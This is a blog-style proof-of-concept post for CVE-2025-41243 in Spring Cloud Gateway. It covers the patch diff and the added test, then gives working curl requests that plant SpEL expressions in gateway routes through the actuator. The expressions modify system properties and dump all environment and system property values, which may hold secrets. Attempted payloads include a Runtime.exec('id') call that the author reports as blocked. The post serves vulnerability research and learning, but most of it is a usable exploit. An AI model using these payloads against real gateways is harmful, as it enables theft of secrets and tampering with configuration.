CVE-2025-41243 PoC for SpEL property modification using Spring Cloud Gateway Server WebFlux
CVE-2025-41243: Spring Expression Language property modification using Spring Cloud Gateway Server WebFlux is out and got CVSS score 10.0.
Here is my, hmmm…. is it really a complete Proof of Concept? Because I would expect that CVSS score 10.0 includes a RCE as well.
I’m nothing, I have to learn a lot.
Patch delta shows in restrictive mode, that no assignments are allowed anymore
org/springframework/cloud/gateway/support/ShortcutConfigurable.java:
public GatewayEvaluationContext(BeanFactory beanFactory) {
this.beanFactoryResolver = new BeanFactoryResolver(beanFactory);
Environment env = beanFactory.getBean(Environment.class);
boolean restrictive = env.getProperty("spring.cloud.gateway.restrictive-property-accessor.enabled",
Boolean.class, true);
if (restrictive) {
delegate = SimpleEvaluationContext.forPropertyAccessors(new RestrictivePropertyAccessor())
.withMethodResolvers((context, targetObject, name, argumentTypes) -> null)
.withAssignmentDisabled() // <---- newly added
.build();
}
else {
delegate = SimpleEvaluationContext.forReadOnlyDataBinding().build();
}
And a test case was added to check that assignments are not possible anymore
org/springframework/cloud/gateway/support/ShortcutConfigurableTests.java
public void testNormalizeDefaultTypeWithSpelAssignmentAndInvalidInputFails() {
parser = new SpelExpressionParser();
ShortcutConfigurable shortcutConfigurable = new ShortcutConfigurable() {
@Override
public List<String> shortcutFieldOrder() {
return Arrays.asList("bean", "arg1");
}
};
Map<String, String> args = new HashMap<>();
args.put("bean", "#{ @myMap['my.flag'] = true}"); // <---- has to fail
args.put("arg1", "val1");
assertThatThrownBy(() -> {
ShortcutType.DEFAULT.normalize(args, shortcutConfigurable, parser, this.beanFactory);
}).isInstanceOf(SpelEvaluationException.class);
}
Creating new route with property assignment and reading it
curl -X POST -H 'Content-Type: application/json' -i http://gateway:8092/actuator/gateway/routes/route-spel-assign --data '{
"id": "route-spel-assign",
"uri": "http://1.2.3.4:8443/",
"predicates": [
{
"name": "Path",
"args": {
"pattern": "/spel-assign"
}
}
],
"filters": [
{
"name": "AddResponseHeader",
"args": {
"name": "X-SpEL-SystemProperty-Set1",
"value": "#{@systemProperties['\''my.own.flag'\''] = '\''directly set'\''}"
}
},
{
"name": "AddResponseHeader",
"args": {
"name": "X-SpEL-SystemProperty-Get1",
"value": "#{@systemProperties['\''my.own.flag'\'']}"
}
},
{
"name": "AddResponseHeader",
"args": {
"name": "X-SpEL-SystemProperty-Set2",
"value": "#{@systemProperties['\''my.own.flag'\''] = '\''taken from java home:'\'' + @systemProperties['\''java.home'\'']}"
}
},
{
"name": "AddResponseHeader",
"args": {
"name": "X-SpEL-SystemProperty-Get2",
"value": "#{@systemProperties['\''my.own.flag'\'']}"
}
}
]
}'
Apply new route
curl -X POST -i http://gateway:8092/actuator/gateway/refresh
Getting data of newly added route
http://gateway:8092/actuator/gateway/routes/route-spel-assign
{"predicate":"Paths: [/spel-assign], match trailing slash: true",
"route_id":"route-spel-assign",
"filters":[
"[[AddResponseHeader X-SpEL-SystemProperty-Set1 = 'directly set'], order = 1]",
"[[AddResponseHeader X-SpEL-SystemProperty-Get1 = 'directly set'], order = 2]",
"[[AddResponseHeader X-SpEL-SystemProperty-Set2 = 'taken from java home:/usr/lib/jvm/java-17-openjdk-17.0.16.0.8-2.el8.x86_64'], order = 3]",
"[[AddResponseHeader X-SpEL-SystemProperty-Get2 = 'taken from java home:/usr/lib/jvm/java-17-openjdk-17.0.16.0.8-2.el8.x86_64'], order = 4]"
],
"uri":"http://1.2.3.4:8443/",
"order":0}
As you can see, the property assigment works and it’s reading.
"value": "#{@systemProperties['my.own.flag'] = 'taken from java home:' + @systemProperties['java.home']}"
"value": "#{@systemProperties['my.own.flag']}"
OK!
I can read application specific -DjavaProperties
values as well, which might contains some secrets (I will not mention).
But unpatched Spring already blocks Type and Method calls or does not support that.
"value": "#{@systemProperties['my.own.flag'] = T(java.lang.System).getProperty('java.version')}"
"value": "#{@systemProperties['my.own.flag'] = T(java.lang.String).valueOf(123)}"
"value": "#{@systemProperties['my.own.flag'] = T(java.lang.Runtime).getRuntime().exec('id')}"
"value": "#{@systemProperties['my.own.flag'] = ''.valueOf(123)}"
"value": "#{@systemProperties['my.own.flag'] = new String('acb')}"
And now? Give me a light why this is a CVSS score of 10.0!
A post is out on X by @GobySec showing a screenshot with a payload.
But for me it does not work…… because the interessting part is not shown in picture
Got a ping by original reseacher ezzer as reply to my post on X
ezzer gave me the link to his write up. It’s better than my post ;-) ezzer’s writeup for CVE-2025-41243
Ahhhhh!!!! I wasn’t that far away.
Without using Property Assignment spring.cloud.gateway.restrictive-property-accessor.enabled = false we would get errors in followup calls like
SpelEvaluationException: EL1008E: Property or field 'key' cannot be found on object of type 'java.util.concurrent.ConcurrentHashMap$MapEntry' - maybe not public or not valid?
SpelEvaluationException: EL1008E: Property or field 'getPropertySources' cannot be found on object of type 'org.springframework.boot.web.reactive.context.ApplicationReactiveWebEnvironment' - maybe not public or not valid?
Based on ezzer’s PoC where restrictive flag is set to false first, now I can read all environment and systemProperties at once
curl -X POST -H 'X-CSRF-TOKEN: true' -H 'Content-Type: application/json' -i http://gateway:9192/actuator/gateway/routes/route-spel-readdata --data '{
"id": "route-spel-readdata",
"uri": "http://1.2.3.4:8443/",
"predicates": [{
"name": "Path",
"args": {
"pattern": "/malicious"
}
}],
"filters": [{
"name": "AddRequestHeader",
"args": {
"name": "X-SpEL-get-environment",
"value": "#{@environment.getPropertySources.?[#this.name matches '\''.*optional:classpath:.*'\''][0].source.![{#this.getKey, #this.getValue.toString}]}"
}
},
{
"name": "AddRequestHeader",
"args": {
"name": "X-SpEL-get-systemProperties",
"value": "#{@systemProperties.![{#this.key, #this.value.toString}]}"
}
}
]
}'
Apply new route
curl -X POST -i http://gateway:8092/actuator/gateway/refresh
Read the new route and have fun
curl -i http://gateway:8092/actuator/gateway/routes/route-spel-readdata
That’s enough for me. Still no RCE, but with property modification based on all visible environment and systemProperties keys, there will be some sign.
Thank you for reading. The CVE is not my credit, but the work on the PoC exploit was only for my private fun to learn about dynamic route definitions and mostly for my frustration to get a PoC. ;-)
Disclaimer
The information provided is released “as is” without warranty of any kind. The publisher disclaims all warranties, either express or implied, including all warranties of merchantability. No responsibility is taken for the correctness of this information. In no event shall the publisher be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if the publisher has been advised of the possibility of such damages.
The contents of this advisory are copyright (c) 2025 by psytester and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.